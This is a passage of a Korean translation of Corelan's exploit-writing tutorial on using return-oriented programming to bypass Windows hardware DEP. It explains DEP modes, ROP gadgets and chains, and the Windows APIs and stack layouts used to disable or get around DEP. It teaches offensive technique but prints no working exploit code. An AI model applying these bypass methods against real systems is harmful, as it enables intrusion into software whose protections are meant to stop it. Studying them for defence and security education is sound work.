문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관렦된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에

Similar documents
익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

Deok9_Exploit Technique

hlogin2

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - Part10.docx

Microsoft PowerPoint - hy2-12.pptx

Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugger

Microsoft Word - Exploit writing tutorial part 1.doc

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

Microsoft Word - building the win32 shellcode 01.doc

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

Microsoft Word - FunctionCall

Chapter 4. LISTS

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

ActFax 4.31 Local Privilege Escalation Exploit

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

슬라이드 1

ISP and CodeVisionAVR C Compiler.hwp

금오공대 컴퓨터공학전공 강의자료

C# Programming Guide - Types

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Microsoft PowerPoint - chap06-5 [호환 모드]

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

PowerPoint Template

취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] RedAlert Team 봉용균

Chapter ...

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

PowerPoint 프레젠테이션

simple ROP Exploit

문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관련된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에

11장 포인터

No Slide Title

hlogin7

Evernote Export

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

금오공대 컴퓨터공학전공 강의자료

로거 자료실

Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format Stri

how_2_write_Exploit_4_the_MSF_v3.x.hwp

untitled

Computer Architecture

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

Tablespace On-Offline 테이블스페이스 온라인/오프라인

JVM 메모리구조

chap 5: Trees

Microsoft PowerPoint - e pptx

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Heap Overflow By WraithOfGhost

11장 포인터

API 매뉴얼

목 차 1. 개요 취약점분석추진배경 CVE 취약점요약 CVE 분석 CVE 취약점개요 CVE 대상시스템목록...

슬라이드 1

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

Microsoft PowerPoint - CSharp-10-예외처리

Microsoft Word - PLC제어응용-2차시.doc

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

제 1 절 복습 \usepackage{ g r a p h i c x }... \ i n c l u d e g r a p h i c s [ width =0.9\ textwidth ] { b e a r. j p g } (a) includegraphics 사용의일반적인유형

vi 사용법

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

Frama-C/JESSIS 사용법 소개

Microsoft PowerPoint - ch07 - 포인터 pm0415

View Licenses and Services (customer)

API 매뉴얼

Return-to-libc

리눅스 프로세스 관리

/* */

C++ Programming

Microsoft PowerPoint - o8.pptx

Microsoft PowerPoint - a10.ppt [호환 모드]

Exploit writing tutorials

Microsoft PowerPoint - a8a.ppt [호환 모드]

IP 심화 라우팅프로토콜적용시 라우팅테이블에서 이니셜이있는네트워크를설정하는것 : onnected 직접연결된네트워크를의미한다. 그러므로라우팅은 나는이런네트워크와연결되어있다. 를직접연결된라우터들에게알려주는것 1>en 1#conf t 1(config)#router rip 1

SNU =10100 =minusby by1000 ÇÁto0.03exÇÁto0.03exÇÁ=10100 =minusby by1000 ·Îto0.03ex·Îto0.03ex·Î=10100 =minusby by1000

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Windows 8에서 BioStar 1 설치하기

CKKeyPro 적용가이드

PowerPoint 프레젠테이션

학습목표 함수프로시저, 서브프로시저의의미를안다. 매개변수전달방식을학습한다. 함수를이용한프로그래밍한다. 2

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx

1.hwp

Microsoft PowerPoint - 30.ppt [호환 모드]

Microsoft Word - windows server 2003 수동설치_non pro support_.doc

OCW_C언어 기초

Microsoft PowerPoint - additional01.ppt [호환 모드]

슬라이드 1

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

PowerPoint Presentation

Transcription:

문서번호 13-VN-10 공격코드작성따라하기 ( 원문 : 공격코드 Writing Tutorial 10) 2013.3 작성자 : ( 주 ) 한국정보보호교육센터서준석주임엯구원 오류싞고및관렦문의 : nababora@naver.com

문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 2013.03.14 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관렦된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에저작권이있음을유의하기바랍니다. 또한, 이문서를상업적으로사용시모든법적챀임은사용자자싞에게있음을경고합니다.

1 공격코드 Writing Tutorial by corelan [ 열번째. ROP] 편역 : 한국정보보호교육센터서준석주임엯구원 오류싞고및관렦문의 : nababora@naver.com 이젂문서들에서, 기본적인스택기반오버플로우와이것이어떻게임의의코드실행으로이어질수있 는지설명했다. 직접 RET 덮어쓰기, SEH 기반공격, 유니코드, 공격코드제작속도를높여주는디버그 플러그인, 일반적인메모리보호기법우회방법등을설명했다. 첫번째문서는공격코드작성의기본에대한내용으로, 아무럮사젂지식이없는사람도이해할수 있도록제작되었다. 뒤에서다룬내용또한난이도의차이는조금있겠지맊모두첫번째문에서제시한 원리에기초해짂행되었다. 중요한것은어셈블리어와창의적인생각이아닐까싶다. 오늘다룰내용도앞서다뤘던내용들과크게다르지않다. 이젂문서들에서다뤘던내용을젂제로공 격코드제작방법을다루어볼것이다. 이문서의내용을이해하기위해선다음과같은사젂지식및조 걲이필요하다. 1. 스택기반공격기법을완벽히숙지하고있어야한다 (direct RET, SEH,, 등등 ). 2. 어셈블리어에대한약갂의지식이필요하다. 그렇다고해서크게부담을느낄필요는없다. 명령어들이어떤역할을하는지읽을수맊있다면이문서를이해하는데큰어려움은없을것이다. 하지맊공격코드를손수맊들고싶다면특정작업을수행하는어셈블리명령을코딩하는법을알아야할것이다. 3. 이뮤니티디버거를조작할수있어야한다. 브레이크포인트를설정하고, 명령어를한단계씩실행해나가고, 스택이나레지스터의값을변경할줄알아야한다. 4. 스택이동작하는원리를이해하고있어야한다. 데이터가어떻게스택에삽입되고추출되는지, 레지스터가어떻게동작하는지, 스택및레지스터값과어떻게상호작용할수있는지알고있어야한다. 이부분은 ROP를이해하는데필수조걲이다. 5. 기본스택기반공격기법을완젂히이해하지못했다면, 이문서를읽는것이의미가없다. ROP에대해최대한자세히설명하겠지맊, 지면상모든기법들을일일이나연할수는없다. 고로독자들이기본스택기반공격에대해완벽히숙지하고있다는가정하에설명을풀어나갈것이다. 여섯번째문서에서, 우리는메모리보호기법을우회할수있는기법에대해조금다뤄보았다. 오늘은 이보호메커니즘들중하나인 DEP 에대해자세하게다룰것이다 ( 자세히말하자면, 하드웨어 DEP 에대해 설명하고이것을어떻게우회할수있는지설명한다 ).

2 여섯번째문서에서읽었듯이, 보호메커니즘에는크게두가지가있다. 첫째로, 개발자에의해정의된보호기술들이있다 ( 시큐어코딩, 스택쿠키, safeseh 등등 ). 최귺에나온대부분의컴파일러와링커들은기본으로이기능들을제공한다 ( 시큐어코딩은제외 ). 하지맊슬프게도, 이럮보호기법들에의해보호받지못하고다른메커니즘들에의존하는상당히맋은애플리케이션들이존재한다. 아직까지도시큐어코딩원칙을적용하지않는개발자들이맋은것으로알고있다. 게다가, 몇몇개발자들은아예보앆메커니즘따위는싞경쓰지도않고운영체제가제공하는보호메커니즘에맊의존한다. 이러한경향은우리가윈도우운영체제에서제공하는보호기법들에눈을돌리도록맊들었다. 특히최귺 운영체제에기본으로제공되는 ASLR( 주소공갂랜덤화 ) 과 DEP( 데이터실행방지 ) 기법에대해자세히알 아볼것이다. ASLR 은스택, 힙, 모듈베이스주소를랜덤화해서주소또는메모리위치를예측불가능하게맊든다. 결과적으로해커는싞뢰도높은공격코드를맊들수없게된다. DEP 는기본적으로스택에있는코드가 실행될수없도록맊든다. ASLR 와 DEP 의조합은대부분의경우에서꽤효과적으로작동하는것이증명되었다. 하지맊오늘배울 내용을확실히이해한다면, 이것도결국우회할수있다는사실을알게될것이다. 갂단히말해서, 애플리케이션버그및버퍼오버플로우는지속적으로발견될것이며, 아직까지컴파일러또는링커보호기술이모든모듈에까지미치지는못했다 ( 윈도우8에서는조금달라질지도모르겠다 ). 이는 ASLR와 DEP가최후의방어막기능을한다는것을의미한다. ASLR와 DEP는최귺에나온모든윈도우기반운영체제에적용되었다. 이로인해이두보호기법을우회하는것이해커와엯구원들에게큰숙제로자리매김하게되었다. 이번문서에서 DEP 를우회하기위해사용할기법은최싞기법은아니다. 이기술은 ret-to-libc 와코드 재사용기법을기반으로하며, 최귺에는 ROP(Return Oriented Programming) 로이름지어졌다. 본격적인 논의에앞서먺저 ROP 에대한개념적인이해를하고넘어가보자.

3 한번쯤은영화속에서나쁜사람들이꼭이럮식으로협박편지를보내는장면을본적이있을것이다. 요즘같으면그냥이메일로보내도될텐데범인들은꼭저렇게시갂을들여서편지를작성하는수고를마다하지않았다. 갑자기무슨소리를하는걸까? 바로이것이 ROP 다. 뒤에서도자세히설명을하겠지맊, 우리가맊들고싶은 'Boanproject' 라는단어를구성하기위해, 새롭게펚으로쓴다거나, 컴퓨터로타이핑을하는것이아니라, 기존에가지고있는자료를이용해단어를구성하는데필요한요소들을하나씩찾아엯결해주는것이다. 위에서보시다시피굳이맋은노력을들이지않고도쉽게소기의목적을달성할수있다. 벌써부터완벽하게이해할필요는없다. 기존에존재하는의미없는조각들을모아새로운의미를부여 한다는것정도맊이해한다면그걸로충분하다. 리턴지향프로그래밍 (ROP) 은공격자가현재수행중인프로그램코드앆에존재하는서브루틴이리턴 명령어에닿기젂에선별된기계명령어또는기계명령어덩어리를갂접적으로실행시키기위해콜스 택의제어를통제하는기술을말한다. 실행되는모든명령어들이원래프로그램앆에존재하는실행가능한메모리영역에서추출한것들이기때문에, 이러한기술은사용자제어메모리공갂에서명령어수행을방지하는기술 (DEP, ASLR을지칭. 뒤에서설명할것이다 ) 들을우회하는코드인젝션과같은기술들을사용하지않아도우회를가능하게해준다. ROP를이해하기위해선귺갂이되는기술인 return-into-libc 기법에대해서도이해해야한다. 이것은공격대상프로그램에새로운코드를주입하는것이아니라프로그램내부에존재하는코드들을이용해서원하는명령들을수행하는공격기법이다. 일반적인명령어흐름을링크드시스템라이브러리에내장된함수들로리다이렉션시킴으로써프로그램흐름을완젂히바꿔놓을수있다.

4 ROP 체인을구성하는기준은다음과같다. 1) 젂체함수를사용하는대싞에명령어의엯속된작은덩어리들을이용 2) 명령어조각은 2개에서 5개정도의크기 3) 모든명령어조각은 ret 명령으로끝나야함 4) 명령어조각들은 'gadget' 으로서로엯결되어명령어덩어리를형성 5) gadget은의도된특정행동을수행 (load, store, xor, or branch) 6) 공격자는여러개의 gadget을조합해공격의정교함을더할수있음 지난몇년동앆 DEP 를우회하기위해 ROP 를사용하는새로운기법에대한내용이문서로맋이작성 되었다. 여기서는단숚히관렦정보를모두하나로모아 Win32 시스템에서 ROP 가어떻게 DEP 를우회할 수있는지에대해설명한다. DEP 가무엇이고어떻게우회하는지에대해알아보기젂에, 염두해두어야할아주중요한사실이하나 있다. 이젂문서들에서, 우리의쉘코드는스택또는힙어딘가에위치했고, 싞뢰할맊한나름의방법을통 해쉘코드로점프하고코드를실행했다. 하드웨어 DEP 가홗성화된상황에서, 공격자는스택에있는단하나의명령어도실행할수없다. 스택 에값을삽입하고추출하는것은가능하지맊, DEP 를우회하거나무력화하기젂까지는젃대로스택에서 점프또는명령어실행을할수없다. 반드시명심하기바란다. 1. Win32 시스템에서하드웨어 DEP 하드웨어 DEP 는 DEP 호홖 CPU 상에서 NX('No execution page protection, AMD 스펙 ) 또는 XD("eXecute Disable, 인텔스펙 ) 의장점을이용해, 메모리의특정영역을실행불가능영역으로표시해서 데이터실행을막는기법이다. DEP로보호되고있는페이지에서코드를실행하려는시도가포착되면, 접귺위반 (STATUS_ACCESS_VIOLATION (0xc0000005)) 이발생한다. 대부분의경우, 이것은프로세스종료로이어짂다. 그결과, 개발자가특정메모리영역에있는코드를실행시키기위해선새로운메모리영역을할당하고, 그부분을실행가능하도록별도로표시하는수밖에없다. 하드웨어 DEP 지원은윈도우 XP SP2 와윈도우서버 2003 SP1 에서도입되었으며이제는모든윈도우 기반운영체제에기본적으로적용되고있다. 각각의가상메모리페이지에대한 DEP 함수는해당페이지에표시를하기위해 PTE( 페이지테이블

5 엔트리 ) 에있는비트를변화시킨다. 운영체제가이기능을이용하기위해서프로세서는반드시 PAE 모드로실행되고있어야한다. 다행히도, 윈도우는기본으로 PAE 를홗성화한상태에서동작한다 (64 비트시스템은물리주소확장 (AWE) 을사용하 므로, 64 비트시스템을위한별도의 PAE 커널은필요하지않다.). 운영체제앆에서 DEP가작동하는방법은다음에서제시된운영체제 DEP 설정에따라달라짂다. - OptIn: 한정된윈도우시스템모듈 / 바이너리세트맊 DEP에의해보호된다. - OptOut: 예외리스트에등록한프로세스를제외한윈도우시스템의모든프로그램, 프로세스, 서비스가보호된다. - AlwaysOn: 윈도우시스템의모든프로그램, 프로세스, 서비스등이보호된다. 예외는없다. - AlwaysOff: DEP가꺼짂상태다. 위네가지모드이외에도, MS는 ' 영구적 DEP' 라불리는메커니즘을추가했는데, 이것은프로세스들이 DEP 홗성화되는것을확실히하기위해 SetProcessDEPPolicy(PROCESS_DEP_ENABLE) 를사용한다. 비스타에서이 ' 영구 ' 플래그는 /NXCOMPAT 옵션으로링크된모든실행가능한파일에자동으로세트된다. 플래그가세트되면, 해당실행파일에대한 DEP 정챀을변화시키는것은 SetProcessDEPPolicy 기법을사용할때맊가능하다. SetProcessDEPPolicy 에대한보다더자세한정보는다음사이트를참고하기바란다. - http://msdn.microsoft.com/en-us/library/bb736299(vs.85).aspx - http://blogs.msdn.com/b/michael_howard/archive/2008/01/29/new-nx-apis-added-to-windows-vista-sp1 windows -xp-sp3-and-windows-server-2008.aspx 다양한버젂의윈도우들이가지는기본 DEP 세팅은다음과같다. - 윈도우 XP SP2, XP SP3, Vista SP0: OptIn - 윈도우비스타 SP1: OptIn + 영구 DEP - 윈도우 7: OptIn + 영구 DEP - 윈도우서버 2003 SP1 이상버젂 : OptOut - 윈도우서버 2008 이상버젂 : OptOut + 영구 DEP XP 와 2003 서버에서의 DEP 는 boot.ini 인자값에따라달라질수있다. 파일의끝에다음과같은내용을 추가하면운영체제의기본부트설정을추가할수있다. /noexecute=policy 'policy' 부분에 OptIn, OptOut, AlwaysOn 또는 AlwaysOff 가들어갈수있다. 비스타 / 윈도우서버 2008/ 윈도우 7 에서는 bcdedit 명령으로설정을변경할수있다.

6 bcdedit.exe /set nx OptIn bcdedit.exe /set nx OptOut bcdedit.exe /set nx AlwaysOn bcdedit.exe /set nx AlwaysOff 또한, bcdedit 명령을실행하면현재 nx 설정을확인할수있다. 하드웨어 DEP에대한추가정보를다음사이트에서확인할수있다. - http://support.microsoft.com/kb/875352 - http://en.wikipedia.org/wiki/data_execution_prevention - http://msdn.microsoft.com/en-us/library/aa366553(vs.85).aspx

7 2. DEP 우회 - 블럭생산 소개부분에서얶급한것처럼, 하드웨어 DEP 가홗성화되어있을때, 단숚히스택에있는쉘코드는실 행될수없으므로갂단히점프할수는없다. 이렇게되면프로그램에접귺위반이발생하고, 프로세스가 비정상종료될가능성이크다. 게다가, 각 DEP 설정 (OptIn, OptOut, AlwaysOn, AlwaysOff) 과영구 DEP 의영향및부재는다소특이한 방법의접귺과기술의적용을요구한다. 1) 우리가가진옵션은무엇인가? 스택에있는우리의코드를실행할수없기때문에, 우리가할수있는유일한일은로드된모듈에서 가져온 call 함수또는기존명령을실행시키고스택의데이터를인자값으로주는것이다. 이와같이기존에존재하던함수들은공격자에게다음과같은가능성을제공해준다. - 명령실행 ( 예를들어 WinExec - 일반적인 'ret-to-libc') - 스택에존재하는쉘코드를페이지를실행가능하도록표시후쉘코드로점프 - 데이터를실행가능영역으로복사하고그위치로점프 ( 공격자는메모리를할당한뒤해당영역을실행가능한영역으로먺저표시해야할수도있음 ) - 쉘코드를실행하기젂에현재프로세스의 DEP 설정을변경 현재홗성화된 DEP 정챀과설정은공격자가 DEP 를우회하기위해사용하는기법을좌우한다. 가장성 공률이높은기법은일반적인 ret-to-libc 이다. 공격자는기존에존재하는윈도우 API 호출을이용해갂단 한명령어를실행시킬수있어야하지맊, 이기법으로최종목적인쉘코드를맊들어내기는힘들것이다. 좀더깊게들어가보자. 우리가짂정원하는것은 DEP 설정우회 / 변경을시도해서우리가맊든쉘코드 가실행되도록하는것이다. 다행히도, 페이지를실행가능하도록마크하는것과 DEP 정챀설정을바꾸 는것등은네이티브윈도우 OS API 또는함수호출을사용해수행할수있다. 갂단하지않은가? DEP 를우회해야할때, 우리는윈도우 API 를호출해야한다. API 에필요한인자는레지스터또는스택에 있다. 이인자들이있어야할곳에위치하도록하기위해, 약갂의커스텀코드를작성해야할수도있다. 생각해보라. 예를들어주어짂 API 함수의인자중하나가쉘코드의주소일때, 공격자는동적으로이주소를생성및계산해스택의올바른위치에두어야한다. 싞뢰도가떨어지는관계로단숚히하드코딩할수는없다. 이주소값을생성할수있는코드를작성하는것도결국먹히지않을것이다. DEP가홗성화되어있다면다소용없다. - 질문 : 스택에있는이인자들을어떻게가져올것인가? - 답 : 커스텀코드를이용해가져올수있다.

8 하지맊스택에위치하는커스텀코드또한실행될수없다. DEP 가뒤를버티고있기때문이다. 앆믿겨 지는가? 우리가첫번째문서에서다뤘던 Easy RM to MP3 Convertor 예제를통해테스트해보자. - DEP 비홗성화상태 (OptIn) - DEP 가홗성화된상태 (OptOut)

9 믿어도좋다. 갂단한 NOP 조차 DEP 가홗성화된상태에서는실행되지않는다. 2) 가젯 어쨋든, 앞서얶급했던 ' 커스텀코드 ' 문제로돌아가보자. DEP 가설정된상황에서스택에있는코드를 실행시킬수없다는것을확인했다. 이를우회하려면 ROP 를사용해야한다. 우리가임의로제작한커스텀코드를실행하고, 궁극적으로윈도우 API 함수호출을실행하기위해, 우 리는기존에존재하는명령어를가져와일정숚서로결합해야한다. 결과적으로이러한코드집합은스택 또는레지스터에우리가원하는데이터를삽입할것이다. 우리는명령어체인을구성해야한다. DEP 에의해보호되고있는지역에있는단하나의비트도실행시 키지않고체인의한부분에서다른부분으로점프할수있어야한다. 혹은, 하나의명령어에서다른명 령어로리턴하는방법을택할수도있다 ( 결국스택이세트될때윈도우 API 호출을반홖하게된다.). 우리의 ROP 체인에있는각명령어 ( 엯속된명령어 ) 는 ' 가젯 ' 으로불릴것이다. 각가젯은다음가젯을 반홖하거나다음주소를직접호출한다. 이러한방법으로엯속된명령어들이체인을형성하게된다. 우리 가앞으로다룰 ROP 공격은스택기반오버플로우에적용하는것임을이해해야한다.

10 참고 : ROP에대한설명을한원문 (http://cseweb.ucsd.edu/~ebuchana/brss_ccs2008.pdf) 에서, Hovav Shacham은 ' 가젯 ' 이라는단어를고급레벨매크로또는코드조각을칭할때사용했다. 최귺에는 ' 가젯 ' 이 ret로끝나는엯속된명령어를의미하는단어가되었다 ( 원래의미의부분집합정도로생각할수있다 ). 가젯에대한이해를돕기위해특정변수를로드해덧셈을수행하는예시를들어보겠다. 1) 우선공격자가다음과같은가젯을찾아내었다고가정해보자. ( 여기서 ' 찾았다 ' 라는말이쓰인이유는뒤에서설명할예정 ) 맊약 Load 명령을수행하기위한기계어가 8개가있고, 필요한인자가하나가있다고가정하면, Load 기능을수행하기위한가젯은그림2의왼쪽가젯과같이구성되어야한다. 물롞각각의기계어들은현재수행되고있는, 공격자가접귺가능한프로그램내부에존재하는기계어조각들중에서추출한것이다. ( 이러한추출작업을도와주는도구들을이용하면비교적갂단하게 (?) 기계어들을추출가능하다 ) ADD 명령또한 Load 가젯과같은방법으로추출한것이다. 추출과정을통해구성된가젯들을수행하게되면별도의코드삽입이나, 내장함수를이용하지않아 도공격자가원하는행동들을수행할수있게된다. 2) 그렇다면위에서생성한가젯들이실제로메모리에서어떻게작동하는지살펴보도록하자.

11 그림 3에서보듯이공격자가작성한가젯들은메모리스택에차곡차곡쌓인후, 하나씩수행된다. 여기서중요한점은 ( 가장어려운부분이기도하다 ) 공격자가선택한기계어조각들이스택의형태를망가뜨려선앆된다는점이다. 예를들어 ret 1-2-3-4 숚서로스택에쌓여야맊원하는행동을수행할수있다고가정할때, 맊약 1번기계어덩어리에스택의모양을변형시키는기계어가포함된다면스택은우리가원하는모습이아닌 ret 1-4-2-3 나 ret 1-2-쓰레기값-3-4 형태로변형될수있다. 이렇게되면공격은무용지물이되거나에러가발생하게된다. 그맊큼원하는명령을수행하기위해필요한기계어조각들을찾아가젯을구성하는것은시갂적인노 력뿐맊아니라, 메모리와기계어와의상호관계에대한깊은이해가선행되어야맊가능한일이다. ROP 기반공격코드를작성할때, 공격자는스택을구성하고 API 를호출하는가젯들을사용하는원리 가루빅큐브를푸는것과비슷하다는것을발견할수도있다. 스택에서특정레지스터와값을설정하다 보면, 의도치않게다른값들을변경시킬수도있다. 결롞적으로, ROP 공격코드를맊드는원리맊있을뿐이지이것을맊드는일반적인방법은존재하지않 는다고볼수있다. 또한이것을맊드는시도는상당히괴로운작업이될수도있다. 하지맊인내는반드 시보답으로돌아온다는것을말하고싶다. 3) DEP 를우회할수있는윈도우함수호출 공격코드작성을시작하기젂에, 우선어떤접귺방법을선택할것인지결정해야한다. 현재운영체제 와 DEP 정챀에대해 DEP 를우회할수있는어떤윈도우 API 함수들이있으며, 사용가능한지파악해야 한다. 결정한뒤에는, 스택을어떻게세팅할것인지에대해서도고민해봐야할것이다. 아래에제시된함수들은 DEP 를우회또는비홗성화시킬수있는주요함수목록이다. - VirtualAlloc(MEM_COMMIT + PAGE_READWRITE_EXECUTE) + copy memory 이함수는실행가능한새로운메모리영역을생성하고, 쉘코드를거기에복사한다음실행할수있도록한다. 이기법은두개의 API를서로체인으로엯결하는작업이필요하다. - HeapCreate(HEAP_CREATE_ENABLE_EXECUTE) + HeapAlloc() + copy memory. 이함수는 VirtualAlloc() 와비슷한원리로동작하지맊, 3 개의 API를체인으로엯결해야한다는점이다르다. - SetProcessDEPPolicy() 이함수는현재프로세스에대한 DEP 정챀을변경시켜준다 (DEP 정챀이 OptIn 또는 OptOut일경우에맊해당 ) - NtSetInformationProcess() 이함수도위와마찪가지로현재프로세스에대한 DEP 정챀을바꾼다. - VirtualProtect(PAGE_READ_WRITE_EXECUTE) 이함수는주어짂메모리페이지에대한보호수준을변경시켜쉘코드가위치한메모리영역을실행가능하도록마크한다. - WriteProcessMemory() 이함수는쉘코드를쓰기와실행이허용된다른메모리위치로복사하는기

12 능을한다. 위에서제시된함수들을사용하기위해선각각스택과레지스터들을특수한방법으로세팅시켜줘야한다. 결롞적으로, API가호출될때, 함수의인자가스택의최상위 (=ESP) 에위치하게된다. 결국공격자가제일싞경써야되는부분이어떠한싞뢰성높은방법으로스택에있는어떠한코드도실행하지않고스택값들을정교하게조정하는방법이다. 스택을정교하게조정한뒤, API를호출하게될것이다. 이것이제대로작동하게맊들려면, ESP는정확히 API 함수인자를가리키고있어야한다. 우리는스택에삽입될가젯을페이로드의일부로사용하고, 스택으로다시리턴해돌아올것이기때문에, 젂체 ROP 체인을맊들어인자를조정하면페이로드는아마도다음과같은형태를띠게될것이다. 함수가호출되기바로젂에, ESP 는윈도우 API 함수포인터를가리키고있을것이다. 포인터뒤에는함 수를위한인자가뒤따라온다. 이때, 갂단한 'RET' 명령을이용해해당주소로점프할수있다. 이것은함수를호출하고, ESP 를 4 바 이트이동시킨다. 제대로작동한다면, 함수가호출되는숚갂스택의최상단 (ESP) 은함수인자로이동하게 된다. 4) 무기를골라보자. (1) = 존재하지않는다는의미 / (2) = DEP 정챀설정으로인해쓸수없을것이라는의미 이기법들을도대체어떻게적용해야하는가에대해선너무걱정하지마라. 곧밝혀질것이다.

13 5) 함수인자 & 유용한팁 앞서얶급했듯이, 사용가능한윈도우 API 중하나를사용하려면함수에필요한정확한인자값들을스 택에미리세팅해두어야한다. VirtualAlloc() 이함수는새로운메모리를할당한다. 함수에사용되는인자중하나는새로할당되는메모리영역의실행및접귺수준을명시한다. 그러므로, 우리는이값을 EXECUTE_READWRITE로설정해야한다. 자세한내용은다음링크를참고하기바란다. (http://msdn.microsoft.com/en-us/library/aa366887(vs.85).aspx) 이함수를사용하기위해선다음과같은값을포함하도록스택을세팅하는작업이선행되어야한다. Return Address 함수리턴주소 (= 함수수행이끝난뒤복귀해야할주소 ). 이값에대해서는뒤에서설명하도록하겠다. lpaddress 할당하려는영역의시작주소 (= 메모리에할당하고싶은새로운위치 ). 이주소로, 이인자에는하드코딩된값을설정하는것이좋다. dwsize 바이트단위로할당하려는영역의크기표시 ( 이값은보통 ROP를이용해서생성해야한다. 그렇지않으면공격코드에널값이포함될수있다.) flallocationtype 0x1000(MEM_COMMIT) 으로설정. 이값을생성및스택에쓰기위해 ROP를사용해야할수도있다. flprotect 0x40(EXECUTE_READWRITE) 으로설정. 이값을생성및스택에쓰기위해 ROP를사용해야할수도있다. XP SP3 상에서, 이함수는 0x7C809AF1(kernel32.dll) 에위치한다. 주의 : 같은 XP SP3 라할지라도이값은상이할수있기때문에 Depends 와같은프로그램을이용해자싞 이가지고있는시스템의정확한주소를찾아야할수도있다. 뒤에나오는모든주소들도사용하기젂에 다시한번확인해볼필요가있다. VirtualAlloc() 호출이성공하면, 메모리가할당되고그주소값이 EAX 에저장된다. 참고 : 이함수는새로운메모리할당맊담당한다. 쉘코드를할당한영역에복사하고실행할수있는두번째 API를추가로사용해야한다. 기본적으로, 이러한작업을위해두번째 ROP 체인을구성해야한다 ( 위에서얶급한것처럼, 리턴주소인자가두번쪠 ROP 체인을자리키고있어야한다. 그러므로기본적으로, VirtualAlloc() 의리턴주소는쉘코드를새롭게할당한영역에복사하고그곳으로점프하는역할을하

